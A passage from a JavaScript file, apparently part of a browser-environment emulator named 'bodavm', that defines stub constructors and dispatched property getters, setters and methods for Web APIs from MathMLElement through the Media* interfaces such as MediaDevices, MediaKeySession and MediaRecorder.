bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpaste_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "dataset", {configurable:true, enumerable:true, get:function dataset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "dataset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "nonce", {configurable:true, enumerable:true, get:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "nonce_get", arguments)}, set:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "nonce_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "autofocus", {configurable:true, enumerable:true, get:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "autofocus_get", arguments)}, set:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "autofocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "tabIndex", {configurable:true, enumerable:true, get:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "tabIndex_get", arguments)}, set:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "tabIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "attributeStyleMap", {configurable:true, enumerable:true, get:function attributeStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "attributeStyleMap_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "blur", {configurable:true, enumerable:true, writable:true, value:function blur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "blur", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "focus", {configurable:true, enumerable:true, writable:true, value:function focus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "focus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncontentvisibilityautostatechange", {configurable:true, enumerable:true, get:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontentvisibilityautostatechange_get", arguments)}, set:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontentvisibilityautostatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforematch_set", arguments)}},'prototype'); - -// MediaCapabilities对象 -bodavm.memory.globalobj['MediaCapabilities'] = function MediaCapabilities(){if (!(this instanceof MediaCapabilities)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaCapabilities'], "MediaCapabilities"); -bodavm.toolsFunc.defineProperty('MediaCapabilities', "decodingInfo", {configurable:true, enumerable:true, writable:true, value:function decodingInfo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaCapabilities'].prototype, "MediaCapabilities", "decodingInfo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaCapabilities', "encodingInfo", {configurable:true, enumerable:true, writable:true, value:function encodingInfo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaCapabilities'].prototype, "MediaCapabilities", "encodingInfo", arguments)}},'prototype'); - -// MediaDevices对象 -bodavm.memory.globalobj['MediaDevices'] = function MediaDevices(){if (!(this instanceof MediaDevices)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaDevices'], "MediaDevices"); -bodavm.memory.globalobj['MediaDevices'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaDevices'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaDevices', "enumerateDevices", {configurable:true, enumerable:true, writable:true, value:function enumerateDevices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "enumerateDevices", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "getSupportedConstraints", {configurable:true, enumerable:true, writable:true, value:function getSupportedConstraints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getSupportedConstraints", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "getUserMedia", {configurable:true, enumerable:true, writable:true, value:function getUserMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getUserMedia", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "ondevicechange", {configurable:true, enumerable:true, get:function ondevicechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "ondevicechange_get", arguments)}, set:function ondevicechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "ondevicechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "getDisplayMedia", {configurable:true, enumerable:true, writable:true, value:function getDisplayMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "getDisplayMedia", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDevices', "setCaptureHandleConfig", {configurable:true, enumerable:true, writable:true, value:function setCaptureHandleConfig (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDevices'].prototype, "MediaDevices", "setCaptureHandleConfig", arguments)}},'prototype'); - -// MediaElementAudioSourceNode对象 -bodavm.memory.globalobj['MediaElementAudioSourceNode'] = function MediaElementAudioSourceNode(){if (!(this instanceof MediaElementAudioSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaElementAudioSourceNode': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaElementAudioSourceNode'], "MediaElementAudioSourceNode"); -bodavm.memory.globalobj['MediaElementAudioSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['MediaElementAudioSourceNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('MediaElementAudioSourceNode', "mediaElement", {configurable:true, enumerable:true, get:function mediaElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaElementAudioSourceNode'].prototype, "MediaElementAudioSourceNode", "mediaElement_get", arguments)}, set:undefined},'prototype'); - -// MediaError对象 -bodavm.memory.globalobj['MediaError'] = function MediaError(){if (!(this instanceof MediaError)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaError'], "MediaError"); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_ABORTED", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_NETWORK", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_DECODE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_SRC_NOT_SUPPORTED", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('MediaError', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaError'].prototype, "MediaError", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaError'].prototype, "MediaError", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_ABORTED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_NETWORK", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_DECODE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_SRC_NOT_SUPPORTED", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); - -// MediaKeyMessageEvent对象 -bodavm.memory.globalobj['MediaKeyMessageEvent'] = function MediaKeyMessageEvent(){if (!(this instanceof MediaKeyMessageEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaKeyMessageEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeyMessageEvent'], "MediaKeyMessageEvent"); -bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaKeyMessageEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaKeyMessageEvent', "messageType", {configurable:true, enumerable:true, get:function messageType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype, "MediaKeyMessageEvent", "messageType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyMessageEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype, "MediaKeyMessageEvent", "message_get", arguments)}, set:undefined},'prototype'); - -// MediaKeys对象 -bodavm.memory.globalobj['MediaKeys'] = function MediaKeys(){if (!(this instanceof MediaKeys)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeys'], "MediaKeys"); -bodavm.toolsFunc.defineProperty('MediaKeys', "createSession", {configurable:true, enumerable:true, writable:true, value:function createSession (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "createSession", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeys', "setServerCertificate", {configurable:true, enumerable:true, writable:true, value:function setServerCertificate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "setServerCertificate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeys', "getStatusForPolicy", {configurable:true, enumerable:true, writable:true, value:function getStatusForPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "getStatusForPolicy", arguments)}},'prototype'); - -// MediaKeySession对象 -bodavm.memory.globalobj['MediaKeySession'] = function MediaKeySession(){if (!(this instanceof MediaKeySession)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeySession'], "MediaKeySession"); -bodavm.memory.globalobj['MediaKeySession'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaKeySession'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaKeySession', "sessionId", {configurable:true, enumerable:true, get:function sessionId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "sessionId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "expiration", {configurable:true, enumerable:true, get:function expiration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "expiration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "keyStatuses", {configurable:true, enumerable:true, get:function keyStatuses (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "keyStatuses_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "onkeystatuseschange", {configurable:true, enumerable:true, get:function onkeystatuseschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onkeystatuseschange_get", arguments)}, set:function onkeystatuseschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onkeystatuseschange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "generateRequest", {configurable:true, enumerable:true, writable:true, value:function generateRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "generateRequest", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "load", {configurable:true, enumerable:true, writable:true, value:function load (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "load", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "update", {configurable:true, enumerable:true, writable:true, value:function update (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "update", arguments)}},'prototype'); - -// MediaKeyStatusMap对象 -bodavm.memory.globalobj['MediaKeyStatusMap'] = function MediaKeyStatusMap(){if (!(this instanceof MediaKeyStatusMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeyStatusMap'], "MediaKeyStatusMap"); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "values", arguments)}},'prototype'); - -// MediaKeySystemAccess对象 -bodavm.memory.globalobj['MediaKeySystemAccess'] = function MediaKeySystemAccess(){if (!(this instanceof MediaKeySystemAccess)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeySystemAccess'], "MediaKeySystemAccess"); -bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "keySystem", {configurable:true, enumerable:true, get:function keySystem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "keySystem_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "createMediaKeys", {configurable:true, enumerable:true, writable:true, value:function createMediaKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "createMediaKeys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "getConfiguration", {configurable:true, enumerable:true, writable:true, value:function getConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "getConfiguration", arguments)}},'prototype'); - -// MediaList对象 -bodavm.memory.globalobj['MediaList'] = function MediaList(){if (!(this instanceof MediaList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaList'], "MediaList"); -bodavm.toolsFunc.defineProperty('MediaList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "mediaText", {configurable:true, enumerable:true, get:function mediaText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "mediaText_get", arguments)}, set:function mediaText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "mediaText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "appendMedium", {configurable:true, enumerable:true, writable:true, value:function appendMedium (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "appendMedium", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "deleteMedium", {configurable:true, enumerable:true, writable:true, value:function deleteMedium (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "deleteMedium", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "toString", arguments)}},'prototype'); - -// MediaMetadata对象 -bodavm.memory.globalobj['MediaMetadata'] = function MediaMetadata(){this._boarg= new bodaobj.window.MediaMetadata();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaMetadata'], "MediaMetadata"); -bodavm.toolsFunc.defineProperty('MediaMetadata', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "title_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaMetadata', "artist", {configurable:true, enumerable:true, get:function artist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artist_get", arguments)}, set:function artist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artist_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaMetadata', "album", {configurable:true, enumerable:true, get:function album (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "album_get", arguments)}, set:function album (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "album_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaMetadata', "artwork", {configurable:true, enumerable:true, get:function artwork (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artwork_get", arguments)}, set:function artwork (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artwork_set", arguments)}},'prototype'); - -// MediaQueryListEvent对象 -bodavm.memory.globalobj['MediaQueryListEvent'] = function MediaQueryListEvent(){if (!(this instanceof MediaQueryListEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaQueryListEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaQueryListEvent'], "MediaQueryListEvent"); -bodavm.memory.globalobj['MediaQueryListEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaQueryListEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaQueryListEvent', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryListEvent'].prototype, "MediaQueryListEvent", "media_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryListEvent', "matches", {configurable:true, enumerable:true, get:function matches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryListEvent'].prototype, "MediaQueryListEvent", "matches_get", arguments)}, set:undefined},'prototype'); - -// MediaRecorder对象 -bodavm.memory.globalobj['MediaRecorder'] = function MediaRecorder(){if (!(this instanceof MediaRecorder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaRecorder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaRecorder'], "MediaRecorder"); -bodavm.memory.globalobj['MediaRecorder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaRecorder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaRecorder', "isTypeSupported", {configurable:true, enumerable:true, writable:true, value:function isTypeSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].undefined, "MediaRecorder", "isTypeSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('MediaRecorder', "stream", {configurable:true, enumerable:true, get:function stream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "stream_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "mimeType", {configurable:true, enumerable:true, get:function mimeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "mimeType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onstart", {configurable:true, enumerable:true, get:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstart_get", arguments)}, set:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onstop", {configurable:true, enumerable:true, get:function onstop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstop_get", arguments)}, set:function onstop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "ondataavailable", {configurable:true, enumerable:true, get:function ondataavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "ondataavailable_get", arguments)}, set:function ondataavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "ondataavailable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onresume", {configurable:true, enumerable:true, get:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onresume_get", arguments)}, set:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onresume_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "videoBitsPerSecond", {configurable:true, enumerable:true, get:function videoBitsPerSecond (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "videoBitsPerSecond_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "audioBitsPerSecond", {configurable:true, enumerable:true, get:function audioBitsPerSecond (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "audioBitsPerSecond_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "audioBitrateMode", {configurable:true, enumerable:true, get:function audioBitrateMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "audioBitrateMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "pause", {configurable:true, enumerable:true, writable:true, value:function pause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "pause", arguments)}},'prototype'); 